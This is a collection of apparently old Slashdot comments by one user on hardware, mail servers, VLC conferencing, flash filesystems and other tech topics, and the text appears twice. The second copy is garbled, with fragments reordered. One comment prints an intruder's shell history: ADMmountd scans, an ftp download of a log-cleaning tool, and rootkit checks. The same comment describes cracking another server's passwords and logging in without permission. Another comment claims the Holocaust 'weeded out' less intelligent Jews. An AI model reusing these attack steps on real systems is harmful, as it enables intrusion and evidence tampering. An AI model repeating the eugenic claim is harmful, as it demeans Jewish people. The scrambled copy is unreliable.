Yeah, don't follow TFA's advice. Even a high-end gaming laptop such as a Dell XPS comes with a 90W-120W power supply tops. This powers the 1920x1200 display (much higher resolution than the 19" LCD), a fancy 3D video card, and even the DVD burner.
And get a simple wired mouse, sheesh. I really really regret buying a Wireless IntelliMouse Explorer 2.0 for my desktop in a moment of weakness (ooh look how many buttons it has, and a smooth scroll wheel!). It's crap! But I digress.
You can use any phone or device you like, just move your SIMM card over. Try doing that with any of the CDMA carriers. Simply search froogle / ebay for "unlocked GSM phone" that supports the frequencies used in your country (800/1900 for US, 900/1800 for THEM rest of the world).
The past two phones I've used on their US network were both tri-band phones bought from the UK market. It was (and probably still is) the only way I could get a decent phone with bluetooth and EDGE support that didn't have a built-in camera so I could actually bring it to work. (I still believe this is the true reason that Blackberries are/still/ kicking ass, just because they're they're one of only PDA/phone makers that has figured this out:P )
Spend your energy complaining at T-Mobile (and, well, just about every US carrier) on how you should get cheaper monthly service bills by unbundling the new/upgrade handset subsidies, please.
I'm much more excited about HD Radio. However, I've only seen big expensive car radios or deck components with HD radio support. Where's the portable hand-held unit? Or at least give me a little USB dongle I can plug into my PC.
Reminds me of some environmental activist who was doing a book tour to promote her book covering commercial jet pollution. She traveled entirely by personal business jet to avoid flying a big, more economical-per-seat-mile passenger jet:P
Wish I could google a link, maybe someone else will have better luck.
Is there a good chance of an open-source type development engine that will let some pranksters bring some of these gags into fruition on the Wii controller?
I'm surprised no one has brought up the topic of simply arranging a boycott of Exxon-Mobil. They are the largest-grossing oil company, period. They've posted their highest profit ever last year. If they're more driven by $$ than their public image to consumers, we've certainly validated their greed.
For my part, I haven't stopped at an Exxon station voluntarily since my father advised me to avoid them sometime after the Valdez incident, and that's one of the few pieces of his advice that has stuck with me and that I've rarely regretted following. This latest news just serves to comfort me that I haven't been totally irrational all this time:> There are very few companies I get vindictive over, and I don't think Exxon has even ever personally screwed me over.
I try not to drive far out of my way to avoid an Exxon station. It also helps that Exxon tends to have the highest prices in town.
This policy hasn't rubbed off on my wife yet (she took it there for an oil change last month!). But at least she almost puts up with the constant "we'll just see what's at the next exit" while she anxiously motions towards the gas gauge's needle hovering over Empty.:P
I had a netscape.net email account back in the day. One day, all of my folders were just emptied.
I didn't complain about it (it was a mostly spam account anyway... they didn't have as good spam filters as yahoo did at the time). I just simply stopped using my netscape.net account for filling out account registrations and crap like that. No advertising eyeballs for you:P
I'd never use one of those free accounts for doing anything serious. Too bad one of my early beta gmail accounts pretty much went to waste:P
And thanks to the fetchyahoo perl script, I have to admit I don't really deal with the yahoo ads much either. But again, it's mostly a product spam account, so I wouldn't really miss it much... just have the inconvenience of changing the various product email update lists I somewhat care about to my new marginally useful spam account address:P
Link please? For all I can google, the only way to "disable" it is to actually turn it/on/ for everything (rather than just core windows services and drivers) and then explicitly disable it for certain programs. Am I supposed to be able to supply a wildcard?:P
Data Execution Protection (DEP) in WinXP SP2 has already prevented me from playing any games on my Dell Inspiron 8500. Apparently the old NVidia drivers provided by Dell are no longer digitally certified to run, so all of my games and applications crash with an error code as soon as something 3D comes up: http://www.updatexp.com/0xC0000005.html
Unfortunately, I can't install stock NVidia drivers with this laptop since they wouldn't tickle the special integrated laptop power and cooling management interfaces properly.
I do have Debian on another partition, but the linux partition cropped up with several bad blocks:/ So I think they only thing left is Games-KNOPPIX:(
Here's one of the rubrics that's making its rounds around my workplace:
If you're doing something that's never been done before, you're an engineer. Otherwise, you're "just" a technician.
Engineering should involve exploring the solution space a bit, performing experiments and measurements to determine the optimum design when not all of the elements are known. If you're just "plugging-n-chugging" (also a popular concept during engineering classes) you're not exactly performing any sort of engineering science.
Not to look down on technicians. Technicians can do very professional, amazing work, putting attention to detail (such as clean cable management, etc.) that an engineer would overlook or just get bored or inconsistent with with after a few attempts. Unfortunately, tradesmen and technicians tend to be looked down upon in the US education system (unlike other systems such as those in Germany), where the relative "failures" of the public school systems end up in third-rate technical or vocational colleges instead of universities.
When my kid figures out how to properly encrypt his traffic, then I figure he's mature enough to take proper precautions when dealing with strangers (and you folks on the 'net are stranger than most).
Still, I find it deeply troubling how I find that I'm understanding right-wing leanings more and more after being a parent. But then again, I'm almost over 30, so I guess I'm allowed to "mature" into a lying conniving misleading figure of authority anyway:P
I've really enjoyed a lot of the Popcap games available for PDAs, especially since a lot of their optional background music seems eerily familiar from my downloaded mod files (many are available from Nectarine radio nowadays: http://www.demoscene.net/ )
Personally, the only compelling reason I've seen to use Imperial units is that they tend to use other number bases (12 inches to the foot, 16 oz. to the lb.). These other bases have many more common factors than the metric base 10
12 is cleanly divisible by 1,2,3,4, and 6 16 is cleanly divisible by 1,2,4, and 8 10 is only cleanly divisible by 1,2, and 5
This makes working with common fractions much cleaner in imperial units, which is desirable if you don't use a computer to calculate everything for you.
3/8 = 0.375 in metric 1/3 = 0.333... in metric
If we were to come up with some kind of hexadecimal-based metric system (which would make transition to computer binary cleaner), this might go away, and then we'd just be left with the gut feelings of "horsepower" sounds "stronger" than "kilowatt"
The path to getting what you want is via "server virtualization". This path is working even at large corporations.
It's quite easy to build a case for the benefits of virtualizing your server hardware so you're managing several disk images on a redundant cluster of physical servers. Once you get your shit working under VMware or maybe even qemu, it's easy to build the server farm on VMware ESX server (which only runs on Linux) or etc. After that, you can start deploying other new services more natively on Linux, using Xen, whatever.
Don't bother migrating your old applications yet, just show what new applications can be hosted on Linux that fill a gap. Think the "linux server that does everything".
You won't be able to do this since you in particular want to be able to turn off your home linux server.
But I've wondered for a while about how to set up the ultimate email system and came across the following combination of software running under Debian:
* Exim MTA * Procmail (for storing mail in Maildir format and sorting mailing lists) * SpamAssassin * Courier IMAPd (for allowing IMAP access from multiple email clients) * fetchmail * fetchyahoo (pull stuff from my yahoo product/spam account)
This configuration is not trivial to set up, but the Debian package system takes care of a lot of it. There are a few good howtos to cover the rest, such as: http://hurring.com/howto/debian_mail_server/
I can then access my mailbox from the following clients (sometimes simultaneously, some IMAP clients sometimes don't cope well with that, however):
* mutt + screen + ssh (this is my primary client, however it took quite some time to configure and tame mutt and I'm still not happy with it in some respects) * Thunderbird / Icedove (GUI client, easier to define some additional message filters I'm too lazy to code up in Procmail) * Squirrelmail + Apache2 SSL (webmail imap client) * Palm T5 VersaMail (PDA syncs recent INBOX messages only)
I've found that my primary hurdle is now syncing address books / contacts between all of my clients. Has anyone found an easy way to sync from PDA to/from Mozilla mail and mutt aliases? If I actually used my mail much I'd try to put more effort into getting multisync + some additional scripts going.
I find that most of my friends and contacts are on other various instant message networks now, so all this is also supplemented by:
* bitchx + screen + ssh (the majority of my friends are old-school IRC dwellers) * centericq + screen + ssh (great for keeping up on livejournals as well as most of the other IM networks) * gaim (GUI multi-IM network thing) * skype (the linux client hasn't seen an update in a while, but appears to work fine)
Remember to add a contact form for your webpage listing your handle on all of your various accounts so people can reach you. I wish there was some sort of centralized address-book service that we could sync our contacts from.
This is all quite a bit of work and resources to dedicate towards keeping in contact with a mere handful of friends and relatives (after all, I/am/ a/. user). So I mostly prefer people just reach me by my cellphone (don't forget to take advantage of your provider's email-to-SMS gateway... somehow!):P
I've never done Custom Team Fortress, so I might be comparing apples and oranges, but the open source game Tremulous (http://tremulous.net/) based on the Quake3 engine also has a cost-based upgrade and construction basis. Plus, you can play as an opposing alien race very different from other FPSs.
We've used VLC to do similar things. Salient facts:
* VLC has about a 1-2 sec. internal latency. That's just enough to severely disturb the flow of a back-and-forth conversation. (Recall the many slips of the news agencies when they started reporting over sat phone links). H323 conferencing units like Tandberg, Polycom, operate with about 0.5s of latency, which is just about the maximum a typical human conversation can tolerate naturally.
* Multicast works very well, just remember to set your TTL high enough to traverse all of the routers. Assuming all of those routers are set to pass on multicast. Unicast works pretty well too, or even unicast-to-multicast bridges and vice-versa (just remember the additional latency if you transcode too) Also, if you're using mpeg4 over a WAN, however, remember to check "Strict rate control", or else you'll get some pretty high bursts of bandwidth utilization over your set average.
* In a converence room where you're not using a headset, you need AEC (acoustic echo cancellation). This prevents your microphones from picking up the sound of the remote end from your speakers and sending their audio right back at them. Skype manages to do this in software, but VLC and surprisingly many other VoIP softphones do not (at least the last few versions of SJphone, X-lite, Netmeeting I tested did not). If you can't find any software AEC, you need to spend money on some decent AEC hardware that will sit between your computer, mic, and speakers, preferably one with noise reduction as well.
For all these reasons, plus documentation and maintenance we ended up shelling out the big bucks for Tandberg units instead. I've never been happy with the Tandberg video quality, though, even at high bitrates (2Mbps h263 or 768kbps h264). So we still use VLC for transmitting computer graphics (esp. 3D and animations) that go along with a presentation.
For your purposes, it sounds like video Skype or the Apple thing would give you the best results for little more than the cost of a computer. Anything more sophisticated and then you'd probably want to look at some good H323 software/hardware to give you much more flexibility with MCUs, easier configuration etc. Just mind that different manufacturers' H323 products don't interoperate as well as they should, so test first.
I always have my pocket knife on hand. I haven't managed to cut myself yet, but it does take some time and patience to get used to. Counterintuitively, the sharper the knife, the safer it is to handle it (since you don't have to apply as much force).
Just remember, cut away from yourself (hopefully not towards other people or pets). Keep your fingers clear. Three slices on face of the plastic, and then you can just open it up like a door.
Back in college around 1998 my Redhat 5.x box got remote-rooted by some Samba exploit (the exploit was called ADMmountd). Most of the standard utilities like ls and top and ps were modified to not detect the rootkit, but du stopped working completely, and I managed to stumble upon the rootkit files in a hidden directory in/usr/lib/.lrk or something like that. Then I noticed IRC callback connections in tcpdump and followed the trail to some swedish IRC server. But didn't really get any leads there.
It was pretty good about cleaning up after its last logs, but I finally managed to stumble into the kiddie's home dir on my box... the damned kiddie forgot to clean up his.bash_history ! Well, actually he did (as evidenced by some rm ~/.bash_history commands in his.bash_history), but of course his shell wrote it from memory again on logout. I found some entries there that led me back to another server he compromised.
Looking at that (also Redhat 5.x) server's web site, I noticed that it had some evil users who exposed/etc/passwd in some cgi scripts. This was before Redhat started using/etc/shadow, so a few cycles of john-the-ripper later I had a list of remote login accounts and most of their fairly trivial passwords (including root). Probably the exact same way the script kiddie took over that box. So I sent an email to the admin of that server, and (as it was some other poor college bastard) surrendipitously logged in to/his/ rooted box, did some additional forensics. The home base apparently was at goethe.sbu.edu , which apparently hosted some bored-looking CS guy (there were only 7 enrolled in the program:P )at St. Bonaventure University, though he may as well have been rooted himself. and cleaned up the rootkit on the remote machine as well, shutting off the compromised services and accounts before leaving myself.
So I cleaned up some other computer as well as mine. That was pretty much the time I migrated to Debian for good... haven't had nary a problem before or since.;>
Anyway, here are some annotated excerpts from the.bash_history I archived: blksheep/.bash_history
cd/tmp cd.ADM ls ADMmountd liuxcentral.com -t 0 # plenty of typos while "scanning" for vulnerable hosts ADMmountd linuxcentral.com -t 0 ADMmountd www.mondenet.com -t 0
# retrieving the logfile cleaning utility, which didn't work on.bash_history, apparently ftp goethe.sbu.edu mv utclean.wri utclean.c gcc utclean.c -o utlcean mv utlcean mv utlcean utclean chmod +x utclean
# Testing his rootkit who ls screen find / -name.wh00p -print >>blah ls cat blah rm blah cat/usr/bin/.wh00p.wh00p # I guess this was the real "who", he ran this often to watch his back, I suppose
It's interesting that this gene arises in Neanderthals. Is this because it was so cold that they'd have to do more planning to survive the winters?
What factors force populations to evolve more intelligence? The Jews are probably so damn smart due to years of oppression, not being able to own property and thus farm "the easy life" and thus having to to develop business and finance smarts, and finally the holocaust coming down to weed out most of the ones left in the slums.
But both with the Neanderthals and the Jews, do the intelligent genes get reinforced by allowing populations to grow out of more crowded, competitive regions, or simply due to the fact that the less intelligent ones die out?
Nowadays with advances in medicine and means to deliver sustenance anywhere, it doesn't seem like either factor allows natural selection to take its course. As earlier slashdot links had pointed out, evolution of mankind has eventually stopped, the only trend over the next few hundred to thousand years is for the entire population of earth to blend into a homogenous mutt, or maybe it will even bifurcate into two types of mutts due to artificial selection. But without any life-threatening challenges, there's really no push for "stronger/faster/better/smarter" genes to avoid getting diluted back into the main pool.
I wouldn't even know about utube if I hadn't accidentally typed it in once while trying to hit youtube. And yes, this was well before this story broke. Gootube should be bargaining for ad / referral fees:P
I sure hope I don't get sued by someone someday... esp. since I occasionally get inquiries from engineering firms asking if I can build them a torque wrench, presumably after they stumble upon a web page for one of my college projects from the earlier days of the internet... http://www.google.com/search?q=F1+torque+wrench
The Journalling Flash FileSystem was developed specifically to wear out your flash memory evenly (and not wear out some prematurely). But you already knew that since you brought it up.
The flatfile database sounds like the killer, though, especially since you want changes to survive unexpected reboots.
I'd suggest you use the ram-based UnionFS (so your CF is mounted RO but you can still write changes and make mods to the view of the FS in RAM). Then periodically you'd flush from UnionFS to CF to make things permanent. This might reduce the amount of write you make to your CF, to prevent your application from needlessly thrashing to CF for every little update. At least now your wear time should be more predictable.
Other CF-based linux things I've seen only writeback to flash when requested to "save".
If you just wanted to throw money at the problem, you could simply throw in a CF microdrive (real hard disk in CF type II container). Then you'd have 4GB to play with, and not worry about wearing out your flash memory.
Wow, OK, this is the first comment that made sense!
That said, I'm surprised I don't seem or anecdotes about happy math whizzes or people severely worried and depressed about being involved in statistically insignificant airplane wrecks.
Environmentalism isn't about saving the planet. It's more about saving the planet for our children.
Sustainability should be the goal. How can we limit the impact of our existence? Ideally, if we could build completely sealed cities with limited and measured consumption of naturally-generated resources as well as expulsion of waste for nature to recover. Unfortunately right now everyone leans heavily on nature, treating the environment as a bottomless resource that provides all the fuel we need and reprocesses all of our waste.
Anyway I was struck by the history of environmentalism in that things like the clean air act don't get enacted until the problem gets pretty absurd, like the deadly London fog or the unhealthy LA smog or the ozone hole. I don't really understand the detractors of global warming... it's like they're saying that not enough people have died yet of causes attributable to global warming, so let's press on with excessive energy consumption and exhaust until enough people do. I'm kind of wondering what this magic number is... how many people have to die or crops ruined or whatever for some of our nations' leaders to take the environmentalist / conservationist agenda seriously.
In the end, it all comes down to responsibility. We can have cheaper, plentiful, more polluting energy now, or we can spend more money and effort to conserve and deploy cleaner energy sources. I just don't think anyone would blame us for taking the latter approach.
Well, I'd really use a filesystem backup tool (that way you can restore to an upgraded filesystem / partitioning scheme, as well as not bothering to backup unused inodes). The only thing I ever use dd for is backing up the partition table & MBR:
Just remember, after you restore, re-run fdisk to adjust you partition tables if necessary, but more importantly just to tell the linux kernel to re-read the partition table. And if you're using LILO instead of GRUB, you'd probably have to rerun LILO before rebooting from your main disk drive.
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Yeah, don't follow TFA's advice. Even a high-end gaming laptop such as a Dell XPS comes with a 90W-120W power supply tops. This powers the 1920x1200 display (much higher resolution than the 19" LCD), a fancy 3D video card, and even the DVD burner.
And get a simple wired mouse, sheesh. I really really regret buying a Wireless IntelliMouse Explorer 2.0 for my desktop in a moment of weakness (ooh look how many buttons it has, and a smooth scroll wheel!). It's crap! But I digress.
You can use any phone or device you like, just move your SIMM card over. Try doing that with any of the CDMA carriers. Simply search froogle / ebay for "unlocked GSM phone" that supports the frequencies used in your country (800/1900 for US, 900/1800 for THEM rest of the world).
/still/ kicking ass, just because they're they're one of only PDA/phone makers that has figured this out :P )
The past two phones I've used on their US network were both tri-band phones bought from the UK market. It was (and probably still is) the only way I could get a decent phone with bluetooth and EDGE support that didn't have a built-in camera so I could actually bring it to work. (I still believe this is the true reason that Blackberries are
Spend your energy complaining at T-Mobile (and, well, just about every US carrier) on how you should get cheaper monthly service bills by unbundling the new/upgrade handset subsidies, please.
I'm much more excited about HD Radio. However, I've only seen big expensive car radios or deck components with HD radio support. Where's the portable hand-held unit? Or at least give me a little USB dongle I can plug into my PC.
Reminds me of some environmental activist who was doing a book tour to promote her book covering commercial jet pollution. She traveled entirely by personal business jet to avoid flying a big, more economical-per-seat-mile passenger jet :P
Wish I could google a link, maybe someone else will have better luck.
This is the perfect thread to point out the video:
http://www.collegehumor.com/video:1712492
My favorite is the Hara-kiri game.
Is there a good chance of an open-source type development engine that will let some pranksters bring some of these gags into fruition on the Wii controller?
I'm surprised no one has brought up the topic of simply arranging a boycott of Exxon-Mobil. They are the largest-grossing oil company, period. They've posted their highest profit ever last year. If they're more driven by $$ than their public image to consumers, we've certainly validated their greed.
:> There are very few companies I get vindictive over, and I don't think Exxon has even ever personally screwed me over.
:P
For my part, I haven't stopped at an Exxon station voluntarily since my father advised me to avoid them sometime after the Valdez incident, and that's one of the few pieces of his advice that has stuck with me and that I've rarely regretted following. This latest news just serves to comfort me that I haven't been totally irrational all this time
I try not to drive far out of my way to avoid an Exxon station. It also helps that Exxon tends to have the highest prices in town.
This policy hasn't rubbed off on my wife yet (she took it there for an oil change last month!). But at least she almost puts up with the constant "we'll just see what's at the next exit" while she anxiously motions towards the gas gauge's needle hovering over Empty.
I had a netscape.net email account back in the day. One day, all of my folders were just emptied.
:P
:P
:P
I didn't complain about it (it was a mostly spam account anyway... they didn't have as good spam filters as yahoo did at the time). I just simply stopped using my netscape.net account for filling out account registrations and crap like that. No advertising eyeballs for you
I'd never use one of those free accounts for doing anything serious. Too bad one of my early beta gmail accounts pretty much went to waste
And thanks to the fetchyahoo perl script, I have to admit I don't really deal with the yahoo ads much either. But again, it's mostly a product spam account, so I wouldn't really miss it much... just have the inconvenience of changing the various product email update lists I somewhat care about to my new marginally useful spam account address
Link please? For all I can google, the only way to "disable" it is to actually turn it /on/ for everything (rather than just core windows services and drivers) and then explicitly disable it for certain programs. Am I supposed to be able to supply a wildcard? :P
Data Execution Protection (DEP) in WinXP SP2 has already prevented me from playing any games on my Dell Inspiron 8500. Apparently the old NVidia drivers provided by Dell are no longer digitally certified to run, so all of my games and applications crash with an error code as soon as something 3D comes up:
:/ So I think they only thing left is Games-KNOPPIX :(
http://www.updatexp.com/0xC0000005.html
Unfortunately, I can't install stock NVidia drivers with this laptop since they wouldn't tickle the special integrated laptop power and cooling management interfaces properly.
I do have Debian on another partition, but the linux partition cropped up with several bad blocks
Here's one of the rubrics that's making its rounds around my workplace:
If you're doing something that's never been done before, you're an engineer. Otherwise, you're "just" a technician.
Engineering should involve exploring the solution space a bit, performing experiments and measurements to determine the optimum design when not all of the elements are known. If you're just "plugging-n-chugging" (also a popular concept during engineering classes) you're not exactly performing any sort of engineering science.
Not to look down on technicians. Technicians can do very professional, amazing work, putting attention to detail (such as clean cable management, etc.) that an engineer would overlook or just get bored or inconsistent with with after a few attempts. Unfortunately, tradesmen and technicians tend to be looked down upon in the US education system (unlike other systems such as those in Germany), where the relative "failures" of the public school systems end up in third-rate technical or vocational colleges instead of universities.
http://www.wireshark.org/
:P
http://tldp.org/HOWTO/TransparentProxy.html
'nuff said.
When my kid figures out how to properly encrypt his traffic, then I figure he's mature enough to take proper precautions when dealing with strangers (and you folks on the 'net are stranger than most).
Still, I find it deeply troubling how I find that I'm understanding right-wing leanings more and more after being a parent. But then again, I'm almost over 30, so I guess I'm allowed to "mature" into a lying conniving misleading figure of authority anyway
I've really enjoyed a lot of the Popcap games available for PDAs, especially since a lot of their optional background music seems eerily familiar from my downloaded mod files (many are available from Nectarine radio nowadays: http://www.demoscene.net/ )
m l
OK, so it actually turns out that a lot of Future Crew's tracks were commissioned by Popcap:
http://www.futurecrew.org/skaven/music_tracker.ht
In any case, it's nice to see demoscene music used appropriately by folks with any decency.
It's right there under "Related Stories", NASA will go Metric On the Moon
http://www.space.com/news/070108_moon_metric.html
Personally, the only compelling reason I've seen to use Imperial units is that they tend to use other number bases (12 inches to the foot, 16 oz. to the lb.). These other bases have many more common factors than the metric base 10
12 is cleanly divisible by 1,2,3,4, and 6
16 is cleanly divisible by 1,2,4, and 8
10 is only cleanly divisible by 1,2, and 5
This makes working with common fractions much cleaner in imperial units, which is desirable if you don't use a computer to calculate everything for you.
3/8 = 0.375 in metric
1/3 = 0.333... in metric
If we were to come up with some kind of hexadecimal-based metric system (which would make transition to computer binary cleaner), this might go away, and then we'd just be left with the gut feelings of "horsepower" sounds "stronger" than "kilowatt"
The path to getting what you want is via "server virtualization". This path is working even at large corporations.
It's quite easy to build a case for the benefits of virtualizing your server hardware so you're managing several disk images on a redundant cluster of physical servers. Once you get your shit working under VMware or maybe even qemu, it's easy to build the server farm on VMware ESX server (which only runs on Linux) or etc. After that, you can start deploying other new services more natively on Linux, using Xen, whatever.
Don't bother migrating your old applications yet, just show what new applications can be hosted on Linux that fill a gap. Think the "linux server that does everything".
Good luck!
You won't be able to do this since you in particular want to be able to turn off your home linux server.
/am/ a /. user). So I mostly prefer people just reach me by my cellphone (don't forget to take advantage of your provider's email-to-SMS gateway... somehow!) :P
But I've wondered for a while about how to set up the ultimate email system and came across the following combination of software running under Debian:
* Exim MTA
* Procmail (for storing mail in Maildir format and sorting mailing lists)
* SpamAssassin
* Courier IMAPd (for allowing IMAP access from multiple email clients)
* fetchmail
* fetchyahoo (pull stuff from my yahoo product/spam account)
This configuration is not trivial to set up, but the Debian package system takes care of a lot of it. There are a few good howtos to cover the rest, such as:
http://hurring.com/howto/debian_mail_server/
I can then access my mailbox from the following clients (sometimes simultaneously, some IMAP clients sometimes don't cope well with that, however):
* mutt + screen + ssh (this is my primary client, however it took quite some time to configure and tame mutt and I'm still not happy with it in some respects)
* Thunderbird / Icedove (GUI client, easier to define some additional message filters I'm too lazy to code up in Procmail)
* Squirrelmail + Apache2 SSL (webmail imap client)
* Palm T5 VersaMail (PDA syncs recent INBOX messages only)
I've found that my primary hurdle is now syncing address books / contacts between all of my clients. Has anyone found an easy way to sync from PDA to/from Mozilla mail and mutt aliases? If I actually used my mail much I'd try to put more effort into getting multisync + some additional scripts going.
I find that most of my friends and contacts are on other various instant message networks now, so all this is also supplemented by:
* bitchx + screen + ssh (the majority of my friends are old-school IRC dwellers)
* centericq + screen + ssh (great for keeping up on livejournals as well as most of the other IM networks)
* gaim (GUI multi-IM network thing)
* skype (the linux client hasn't seen an update in a while, but appears to work fine)
Remember to add a contact form for your webpage listing your handle on all of your various accounts so people can reach you. I wish there was some sort of centralized address-book service that we could sync our contacts from.
This is all quite a bit of work and resources to dedicate towards keeping in contact with a mere handful of friends and relatives (after all, I
I've never done Custom Team Fortress, so I might be comparing apples and oranges, but the open source game Tremulous (http://tremulous.net/) based on the Quake3 engine also has a cost-based upgrade and construction basis. Plus, you can play as an opposing alien race very different from other FPSs.
We've used VLC to do similar things. Salient facts:
* VLC has about a 1-2 sec. internal latency. That's just enough to severely disturb the flow of a back-and-forth conversation. (Recall the many slips of the news agencies when they started reporting over sat phone links). H323 conferencing units like Tandberg, Polycom, operate with about 0.5s of latency, which is just about the maximum a typical human conversation can tolerate naturally.
* Multicast works very well, just remember to set your TTL high enough to traverse all of the routers. Assuming all of those routers are set to pass on multicast. Unicast works pretty well too, or even unicast-to-multicast bridges and vice-versa (just remember the additional latency if you transcode too) Also, if you're using mpeg4 over a WAN, however, remember to check "Strict rate control", or else you'll get some pretty high bursts of bandwidth utilization over your set average.
* In a converence room where you're not using a headset, you need AEC (acoustic echo cancellation). This prevents your microphones from picking up the sound of the remote end from your speakers and sending their audio right back at them. Skype manages to do this in software, but VLC and surprisingly many other VoIP softphones do not (at least the last few versions of SJphone, X-lite, Netmeeting I tested did not). If you can't find any software AEC, you need to spend money on some decent AEC hardware that will sit between your computer, mic, and speakers, preferably one with noise reduction as well.
For all these reasons, plus documentation and maintenance we ended up shelling out the big bucks for Tandberg units instead. I've never been happy with the Tandberg video quality, though, even at high bitrates (2Mbps h263 or 768kbps h264). So we still use VLC for transmitting computer graphics (esp. 3D and animations) that go along with a presentation.
For your purposes, it sounds like video Skype or the Apple thing would give you the best results for little more than the cost of a computer. Anything more sophisticated and then you'd probably want to look at some good H323 software/hardware to give you much more flexibility with MCUs, easier configuration etc. Just mind that different manufacturers' H323 products don't interoperate as well as they should, so test first.
I always have my pocket knife on hand. I haven't managed to cut myself yet, but it does take some time and patience to get used to. Counterintuitively, the sharper the knife, the safer it is to handle it (since you don't have to apply as much force).
Just remember, cut away from yourself (hopefully not towards other people or pets). Keep your fingers clear. Three slices on face of the plastic, and then you can just open it up like a door.
Back in college around 1998 my Redhat 5.x box got remote-rooted by some Samba exploit (the exploit was called ADMmountd). Most of the standard utilities like ls and top and ps were modified to not detect the rootkit, but du stopped working completely, and I managed to stumble upon the rootkit files in a hidden directory in /usr/lib/.lrk or something like that. Then I noticed IRC callback connections in tcpdump and followed the trail to some swedish IRC server. But didn't really get any leads there.
.bash_history ! Well, actually he did (as evidenced by some rm ~/.bash_history commands in his .bash_history), but of course his shell wrote it from memory again on logout. I found some entries there that led me back to another server he compromised.
/etc/passwd in some cgi scripts. This was before Redhat started using /etc/shadow, so a few cycles of john-the-ripper later I had a list of remote login accounts and most of their fairly trivial passwords (including root). Probably the exact same way the script kiddie took over that box. So I sent an email to the admin of that server, and (as it was some other poor college bastard) surrendipitously logged in to /his/ rooted box, did some additional forensics. The home base apparently was at goethe.sbu.edu , which apparently hosted some bored-looking CS guy (there were only 7 enrolled in the program :P )at St. Bonaventure University, though he may as well have been rooted himself. and cleaned up the rootkit on the remote machine as well, shutting off the compromised services and accounts before leaving myself.
;>
.bash_history I archived:
/tmp .ADM
.bash_history, apparently
.wh00p -print >>blah /usr/bin/.wh00p .wh00p # I guess this was the real "who", he ran this often to watch his back, I suppose
It was pretty good about cleaning up after its last logs, but I finally managed to stumble into the kiddie's home dir on my box... the damned kiddie forgot to clean up his
Looking at that (also Redhat 5.x) server's web site, I noticed that it had some evil users who exposed
So I cleaned up some other computer as well as mine. That was pretty much the time I migrated to Debian for good... haven't had nary a problem before or since.
Anyway, here are some annotated excerpts from the
blksheep/.bash_history
cd
cd
ls
ADMmountd liuxcentral.com -t 0 # plenty of typos while "scanning" for vulnerable hosts
ADMmountd linuxcentral.com -t 0
ADMmountd www.mondenet.com -t 0
# retrieving the logfile cleaning utility, which didn't work on
ftp goethe.sbu.edu
mv utclean.wri utclean.c
gcc utclean.c -o utlcean
mv utlcean
mv utlcean utclean
chmod +x utclean
# Testing his rootkit
who
ls
screen find / -name
ls
cat blah
rm blah
cat
It's interesting that this gene arises in Neanderthals. Is this because it was so cold that they'd have to do more planning to survive the winters?
What factors force populations to evolve more intelligence? The Jews are probably so damn smart due to years of oppression, not being able to own property and thus farm "the easy life" and thus having to to develop business and finance smarts, and finally the holocaust coming down to weed out most of the ones left in the slums.
But both with the Neanderthals and the Jews, do the intelligent genes get reinforced by allowing populations to grow out of more crowded, competitive regions, or simply due to the fact that the less intelligent ones die out?
Nowadays with advances in medicine and means to deliver sustenance anywhere, it doesn't seem like either factor allows natural selection to take its course. As earlier slashdot links had pointed out, evolution of mankind has eventually stopped, the only trend over the next few hundred to thousand years is for the entire population of earth to blend into a homogenous mutt, or maybe it will even bifurcate into two types of mutts due to artificial selection. But without any life-threatening challenges, there's really no push for "stronger/faster/better/smarter" genes to avoid getting diluted back into the main pool.
So what now??!
I wouldn't even know about utube if I hadn't accidentally typed it in once while trying to hit youtube. And yes, this was well before this story broke. Gootube should be bargaining for ad / referral fees :P
I sure hope I don't get sued by someone someday... esp. since I occasionally get inquiries from engineering firms asking if I can build them a torque wrench, presumably after they stumble upon a web page for one of my college projects from the earlier days of the internet... http://www.google.com/search?q=F1+torque+wrench
The Journalling Flash FileSystem was developed specifically to wear out your flash memory evenly (and not wear out some prematurely). But you already knew that since you brought it up.
The flatfile database sounds like the killer, though, especially since you want changes to survive unexpected reboots.
I'd suggest you use the ram-based UnionFS (so your CF is mounted RO but you can still write changes and make mods to the view of the FS in RAM). Then periodically you'd flush from UnionFS to CF to make things permanent. This might reduce the amount of write you make to your CF, to prevent your application from needlessly thrashing to CF for every little update. At least now your wear time should be more predictable.
Other CF-based linux things I've seen only writeback to flash when requested to "save".
If you just wanted to throw money at the problem, you could simply throw in a CF microdrive (real hard disk in CF type II container). Then you'd have 4GB to play with, and not worry about wearing out your flash memory.
Wow, OK, this is the first comment that made sense!
That said, I'm surprised I don't seem or anecdotes about happy math whizzes or people severely worried and depressed about being involved in statistically insignificant airplane wrecks.
Environmentalism isn't about saving the planet. It's more about saving the planet for our children.
Sustainability should be the goal. How can we limit the impact of our existence? Ideally, if we could build completely sealed cities with limited and measured consumption of naturally-generated resources as well as expulsion of waste for nature to recover. Unfortunately right now everyone leans heavily on nature, treating the environment as a bottomless resource that provides all the fuel we need and reprocesses all of our waste.
Anyway I was struck by the history of environmentalism in that things like the clean air act don't get enacted until the problem gets pretty absurd, like the deadly London fog or the unhealthy LA smog or the ozone hole. I don't really understand the detractors of global warming... it's like they're saying that not enough people have died yet of causes attributable to global warming, so let's press on with excessive energy consumption and exhaust until enough people do. I'm kind of wondering what this magic number is... how many people have to die or crops ruined or whatever for some of our nations' leaders to take the environmentalist / conservationist agenda seriously.
In the end, it all comes down to responsibility. We can have cheaper, plentiful, more polluting energy now, or we can spend more money and effort to conserve and deploy cleaner energy sources. I just don't think anyone would blame us for taking the latter approach.
.... you forgot to
/dev/zero > /frickenlargefillerfile; rm /frickenlargefillerfile
/noob/ ;-]
cat
so the unused fs blocks compress well.
Well, I'd really use a filesystem backup tool (that way you can restore to an upgraded filesystem / partitioning scheme, as well as not bothering to backup unused inodes). The only thing I ever use dd for is backing up the partition table & MBR:
dd if=/dev/sda of=/mnt/net/backup/asdf.img bs=512k count=1
Just remember, after you restore, re-run fdisk to adjust you partition tables if necessary, but more importantly just to tell the linux kernel to re-read the partition table. And if you're using LILO instead of GRUB, you'd probably have to rerun LILO before rebooting from your main disk drive.